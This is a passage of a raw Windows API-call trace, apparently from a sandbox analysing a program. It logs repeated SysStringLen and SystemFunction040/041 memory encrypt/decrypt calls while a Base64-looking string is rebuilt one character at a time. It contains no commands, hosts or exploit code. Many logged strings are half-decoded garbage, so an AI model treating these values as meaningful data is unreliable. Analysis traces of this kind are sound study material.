(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0130.187] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.187] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0130.187] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.187] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0130.187] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.187] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0130.187] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0130.188] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.188] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0130.188] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0130.188] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.188] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0130.188] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0130.188] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.188] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0130.188] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.188] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0130.188] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.188] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0130.188] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0130.189] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.189] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0130.189] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0130.189] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.189] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0130.189] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0130.189] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.189] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0130.189] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.189] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0130.189] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.190] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0130.190] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0130.190] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.190] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0130.190] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0130.190] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.190] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0130.190] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0130.190] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.190] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0130.190] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.190] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0130.190] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.191] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0130.191] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0130.191] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.191] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0130.191] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0130.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0130.191] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0130.191] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.192] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0130.192] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0130.192] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.192] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0130.192] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0130.192] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.192] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0130.192] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0130.192] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.192] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0130.192] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.192] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0130.192] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.193] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0130.193] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0130.193] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.193] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0130.193] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0130.193] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.193] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0130.193] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.193] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0130.193] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.193] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0130.194] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0130.194] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.194] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0130.194] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0130.194] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.194] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0130.194] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0130.194] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.194] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0130.194] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.194] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0130.195] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.195] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0130.195] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.195] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0130.195] SystemFunction041 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.195] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0130.195] SystemFunction040 (in: Memory=0x43833d4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x43833d4) returned 0x0 [0130.195] SysStringLen 